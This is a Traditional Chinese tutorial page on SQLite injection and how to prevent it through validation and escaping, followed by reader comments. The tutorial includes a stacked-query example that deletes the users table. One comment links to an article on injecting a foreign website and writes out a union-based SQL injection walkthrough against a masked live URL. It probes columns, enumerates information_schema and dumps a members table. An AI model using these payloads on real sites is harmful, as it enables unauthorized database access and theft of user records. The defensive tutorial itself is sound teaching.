SQLite 注入
SQLite 注入
資料來源: http://www.runoob.com/sqlite/sqlite-injection.html
如果您的網站允許用戶通過網頁輸入,並將輸入內容插入到 SQLite 資料庫中,這個時候您就面臨著一個被稱為 SQL 注入的安全問題。本章節將向您講解如何防止這種情況的發生,確保腳本和 SQLite 語句的安全。
注入通常在請求使用者輸入時發生,比如需要使用者輸入姓名,但用戶卻輸入了一個 SQLite 語句,而這語句就會在不知不覺中在資料庫上運行。
永遠不要相信使用者提供的資料,所以只處理通過驗證的資料,這項規則是通過模式匹配來完成的。在下面的實例中,用戶名 username 被限制為字母數位字元或者底線,長度必須在 8 到 20 個字元之間 – 請根據需要修改這些規則。
if (preg_match(“/^\w{8,20}$/”, $_GET[‘username’], $matches)){
$db = new SQLiteDatabase(‘filename’);
$result = @$db->query(“SELECT * FROM users WHERE username=$matches[0]”);
}else{
echo “username not accepted”;
}
為了演示這個問題,假設考慮此摘錄:To demonstrate the problem, consider this excerpt:
$name = “Qadir’; DELETE FROM users;”;
@$db->query(“SELECT * FROM users WHERE username='{$name}'”);
函式呼叫是為了從用戶表中檢索 name 列與用戶指定的名稱相匹配的記錄。正常情況下,$name 只包含字母數位字元或者空格,比如字串 ilia。但在這裡,向 $name 追加了一個全新的查詢,這個對資料庫的調用將會造成災難性的問題:注入的 DELETE 查詢會刪除 users 的所有記錄。
雖然已經存在有不允許查詢堆疊或在單個函式呼叫中執行多個查詢的資料庫介面,如果嘗試堆疊查詢,則會調用失敗,但 SQLite 和 PostgreSQL 裡仍進行堆疊查詢,即執行在一個字串中提供的所有查詢,這會導致嚴重的安全問題。
防止 SQL 注入
在指令碼語言中,比如 PERL 和 PHP,您可以巧妙地處理所有的轉義字元。程式設計語言 PHP 提供了字串函數 sqlite_escape_string() 來轉義對於 SQLite 來說比較特殊的輸入字元。
if (get_magic_quotes_gpc())
{
$name = sqlite_escape_string($name);
}
$result = @$db->query(“SELECT * FROM users WHERE username='{$name}'”);
雖然編碼使得插入資料變得安全,但是它會呈現簡單的文本比較,在查詢中,對於包含二進位資料的列,LIKE 子句是不可用的。
請注意,addslashes() 不應該被用在 SQLite 查詢中引用字串,它會在檢索資料時導致奇怪的結果。
2 thoughts on “SQLite 注入”
實操:SQL注入國外xx網站
https://mp.weixin.qq.com/s?__biz=MzIyMDEzMTA2MQ==&mid=2651151003&idx=1&sn=5845754d664e417c37b2c615e912ed5f&chksm=8c214101bb56c81705ce95bb38336f20af40ab497a7a32c770418fd1ea610984eaa55383730f&scene=0&xtrack=1&key=ec5302060fedc1f96313834431551bcb2a1e007ec20e11642e936fba335bb622e7016aeb32d71afa2865dad6d565bd5e84851231ee15737103c0b03f9126581d86c64bb6f91db9f81b3507c7d0b09ce8&ascene=1&uin=MjIwODk2NDgxNw%3D%3D&devicetype=Windows+10&version=62070158&lang=zh_TW&exportkey=ApV0Ccnuyw%2BOZOp%2FI8sfBNM%3D&pass_ticket=jtJukI%2Bv0zM%2B0YfuqXHEyMV4z4LMXAhImx8%2FXQ5W3wcqCng4roiXEBQLUXKEz4%2B3
①、試探
http://www.xxx.org/members.php?id=1
用單引號“’”的時候,是會報錯的。
接著測試,order by 5 ,以第5列進行排列,報錯。當表<=實際列數,就不會報錯。
http://www.xxx.org/members.php?id=1 order by 5
②、聯合注入
http://www.xxx.org/members.php?id=1 and false union select 1,2,3,4
回顯了2,4列。
http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,database()
接下來查字典庫,information_schema。
http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,(selecttable_name from information_schema.tables where table_schema=database() limit0,1)
http://www.xxx.org/members.php?id=1 and false union select 1,(select id from db83231_asfaa.members limit 0,1),3,(select column_name frominformation_schema.columns where table_schema=database() andtable_name='members' limit 0,1)
concat字段查一查,member表裡面到底有點啥。
http://www.xxx.org/members.php?id=1 and false union select 1,(select concat(id,nome,imagem,texto) from db83231_asfaa.members limit 0,1),3,(selectcolumn_name from information_schema.columns where table_schema=database() andtable_name='members' limit 0,1)
SQL INJECTION
SQL 注入